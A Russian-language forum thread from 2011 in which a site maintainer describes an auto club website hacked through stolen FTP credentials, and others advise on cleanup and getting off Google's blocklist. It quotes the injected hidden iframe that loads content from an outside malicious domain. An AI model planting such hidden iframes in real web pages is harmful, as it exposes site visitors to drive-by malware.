Взломли сайт автоклуба

[CD-ROMa]

В одно прекрасное утро я открыл сайт автоклуба и прочитал:

"Имеется информация о том, что веб-страница http://www.ххххххх.ua используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности она была заблокирована."

Адрес сайта в цитате я скрыл.

Вот логи:
ftpd29055 178.33.146.249 Tue May 17 15:41 - 15:41 (00:00)
ftpd16814 95.168.161.108 Mon May 16 14:44 - 14:44 (00:00)
ftpd29255 178.33.146.249 Sat May 14 20:43 - 20:43 (00:00)
ftpd17333 194.242.120.149 Fri May 13 18:42 - 18:42 (00:00)

Входили через фтп и редактором добавляли:

<iframe src="http://koolksls.cz.cc/webstats/css" width=10 border=1 height=10 style="visibility:hidden"></iframe>

______________________________________

Вопрос кому это нужно было? Айпи не Украинские, но могли через проксю ходить.

Вредоносный код удалили, но гугл по прежнему на сайт без предупреждения не пускает.

[Шеф]

пишите в сапот, пускай разбираются...

[Эдгар]

Все банально: это - мстя! За высланных из Украины чешских военных аташе!!

http://www.unian.net/rus/news/news-435692.html[/b]

[alex_r]

Сервер ваш или публичный? Хостинг-провайдер?
Просто если публик сервер, то не обязательно ваше сайт ломали - просто сломали сервер и на всех сайтах подобавляли этот хлам. Я такое проходил уже стопиццот раз.
Выход - починить быстренько шаблоны сайта и поругаться на админов

[CD-ROMa]

(20-05-2011 06:50)Шеф :  пишите в сапот, пускай разбираются...

Я каГ бы один из саппорта Голову ломаем кому это нужно то было?

---

сообщения объединены

---

(20-05-2011 08:19)alex_r :  Сервер ваш или публичный? Хостинг-провайдер?
Просто если публик сервер, то не обязательно ваше сайт ломали - просто сломали сервер и на всех сайтах подобавляли этот хлам. Я такое проходил уже стопиццот раз.
Выход - починить быстренько шаблоны сайта и поругаться на админов

Хостинг, на хостинге все сайты целые только один этот ломали. Сам сайт не ломанули, я его делал и по безопасности все прикрыл. А влезли через ФТП и главное через мой пароль . В пароле присутствуют символы различного регистра и символ = (равно). Думаю такой пароль подобрать сложно его нужно было только где-то стырить. Больше ни где этот пароль не используется кроме как на этом фтп. Шаблон сайта мы почистили но гугл все еще банит.

[daemon2010]

Та легко, какой то из компов с которого заходили по фтп подцепил трояна и спионерил фтп из клиента, потом используя огромный список украденных паролей заражаются сайты. Сканьте антивирем все виндузовые тачки, меняйте пароль на ФТП.

---

сообщения объединены

---

А по поводу гугла, вам сюда: http://www.google.com/support/webmasters...wer=163633

[CD-ROMa]

(01-06-2011 13:26)daemon2010 :  Та легко, какой то из компов с которого заходили по фтп подцепил трояна и спионерил фтп из клиента, потом используя огромный список украденных паролей заражаются сайты. Сканьте антивирем все виндузовые тачки, меняйте пароль на ФТП.

---

сообщения объединены

---

А по поводу гугла, вам сюда: http://www.google.com/support/webmasters...wer=163633

Нашли пару вирусов, пароли поменяли. Но в гугле он пока что в черных списках. Коды почистили.

[Шеф]

(20-05-2011 09:15)CD-ROMa :  

(20-05-2011 06:50)Шеф :  пишите в сапот, пускай разбираются...

Я каГ бы один из саппорта Голову ломаем кому это нужно то

я имел ввиду сапот хоста... можно даже было сделать бэкап...если эта функция присутствует у хостера

[daemon2010]

В гугл через их Webmaster tools надо обращаться, добавлять туда ваши сайты, которые помеченные и не знаю как это у них звучит по русски: "Reconsider web sites", пользую англ версию. Через некоторое время если с сайтами все ок, проблема исчезнет. Обычно это занимает от 1 до 3х дней.

[CD-ROMa]

(01-06-2011 21:29)Шеф :  

(20-05-2011 09:15)CD-ROMa :  

(20-05-2011 06:50)Шеф :  пишите в сапот, пускай разбираются...

Я каГ бы один из саппорта Голову ломаем кому это нужно то

я имел ввиду сапот хоста... можно даже было сделать бэкап...если эта функция присутствует у хостера

Я каГ бы и один из саппорта хостера тоже бекапы сделали.

---

сообщения объединены

---

(02-06-2011 05:19)daemon2010 :  В гугл через их Webmaster tools надо обращаться, добавлять туда ваши сайты, которые помеченные и не знаю как это у них звучит по русски: "Reconsider web sites", пользую англ версию. Через некоторое время если с сайтами все ок, проблема исчезнет. Обычно это занимает от 1 до 3х дней.

Спасибо за инфу